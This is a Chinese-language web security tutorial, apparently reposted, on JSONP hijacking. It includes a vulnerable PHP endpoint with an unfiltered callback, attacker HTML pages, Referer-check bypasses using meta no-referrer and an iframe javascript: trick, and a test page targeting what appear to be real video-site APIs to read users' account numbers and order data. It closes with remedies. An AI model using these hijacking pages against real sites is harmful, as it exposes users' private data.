一、JSONP
二、JSONP 劫持示例
三、JSONP劫持绕过方法
3.1 Referer过滤(常规)不严格
3.2 空引用绕过
3.3 回调可以定义引起的安全问题
3.4 测试 HTML 代码
四、JSONP 修复
JSONP
JSONP的全称是JSON with Padding,是一种基于JSON格式来解决跨域请求资源的方案。
由于浏览器同源策略的限制,浏览器只允许XmlHttpRequest请求当前相同(域名、协议、端口)的资源,对请求脚本资源没有限制。
原理:客户端通过请求脚本标签发送跨域请求,然后服务器输出JSON数据并执行回调函数。这种跨域数据输出方式称为JSONP。
简单原理说明:使用
<script></script>
可能造成的危险
JSONP数据劫持
没有过滤导致的回调xss
JSONP 劫持示例
# Server request address: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback
<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST['callback']);
if (!isset($callback) || empty($callback)) {
$callback = 'callback';
}
$data = array('username'=>'Pmeow-phpoop','email' => '3303003493@google.com');
$json = json_encode($data);
echo $callback."(".$json.")";
# Client request address: http://127.0.0.1/jsonp/jsonp_test.html
<!DOCTYPE html>
<html lang='en'>
<head>
<title>jsonp</title>
</head>
<body>
jsonp hijack test
</body>
<script>
function jsonCallback(data){
alert(JSON.stringify(data));
}
</script>
<script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>
三、JSONP劫持绕过方法
3.1 Referer过滤(常规)不严格
例如http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback
输出数据时,验证Referer
但不幸的是,它只验证关键字 aphp.测试存在于 Referer 中。
那么攻击者就可以构造url:http://127.0.0.1/aphp.test.html
或者http://127.0.0.1/attack.htm?aphp.test
构造这样的url发起攻击绕过Referer防御
3.2 空引用绕过
有时候开发者在过滤的时候会允许Referer来源为空,因为正常情况下浏览器直接访问一个没有Referer的URL,所以我们有时候可以利用这个特性来绕过
# Use the <meta> tag to implement an empty Referer
<!DOCTYPE html>
<html lang='en'>
<head>
<meta name="referrer" content="never" charset="utf-8">
<title>jsonp without Referer</title>
</head>
<body>
jsonp without Referer hijacking test
</body>
<script>
function jsonCallback(data){
alert(JSON.stringify(data));
}
</script>
<script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>
# Use the <iframe> tag to call the javscript pseudo-protocol to implement an empty Referer call JSON file
<!DOCTYPE html>
<html lang='en'>
<head>
<title>jsonp without Referer</title>
</head>
<body>
jsonp without Referer hijacking test
</body>
<iframe src="javascript:'<script>function jsonCallback(data){alert(JSON.stringify(data));}</script> <script src=http://aphp.test/jsonp/test_jsonp.php? callback=jsonCallback></script>'" frameborder="0"></iframe>
</html>
3.3 回调可以定义引起的安全问题
一般开发中,前端可以很方便调用,一般输出Callback都是可定制的,如果过滤不严格,或者Content-Type设置不合适,就会导致xss
注意:严格来说,如果输出数据也是攻击者可控的话,也可能造成危害,但本文强调的是Callback的输出点
测试一段代码如下
<?php
$callback = $_REQUEST['callback'];
if (!isset($callback) || empty($callback)) {
$callback = 'callback';
}
$data = array('username'=>'Pmeow-phpoop','email' => '3303003493@google.com');
$json = json_encode($data);
echo $callback."(".$json.")";
3.4 测试 HTML 代码
<!DOCTYPE html>
<html lang='en'>
<head>
<meta name="referrer" content="never" charset="utf-8">
<title>jsonp hijack</title>
</head>
<body>
https://v.qq.com jsonp hijacking
</body>
<!-- Hijacking the user's QQ number can be used for promotion -->
<script>function jc(data){alert(JSON.stringify(data));}</script>
<script src="http://node.video.google.com/x/api/get_2029?callback=jc&_=1542534620161"></script>
<!-- Hijack the user's order data -->
<script>function jc2(data){alert(JSON.stringify(data));}</script>
<script src="http://like.video.google.com/fcgi-bin/flw_new?otype=json&sn=FollowServer&cmd=2562&pidx=0&size=30&dtype=0&type=0&callback=jc2&_=1542536629083"></script>
</html>
四、JSONP 修复
验证 HTTP Referer 标头信息。
将 csrfToken 添加到请求中并在后端验证它。
JSON 格式的标准输出,Content-Type 设置为 (Content-Type : application/json; charset=utf-8)。
严格过滤回调函数名和输出的JSON数据(防止xss)
原文地址:
https://tutorialboy24.blogspot.com/2023/07/talking-about-jsonp-hijacking.html
标签:WEB,浅谈,JSONP,JSON,Referer,jsonp,test,data From: https://www.cnblogs.com/o-O-oO/p/18356670原创 Ots安全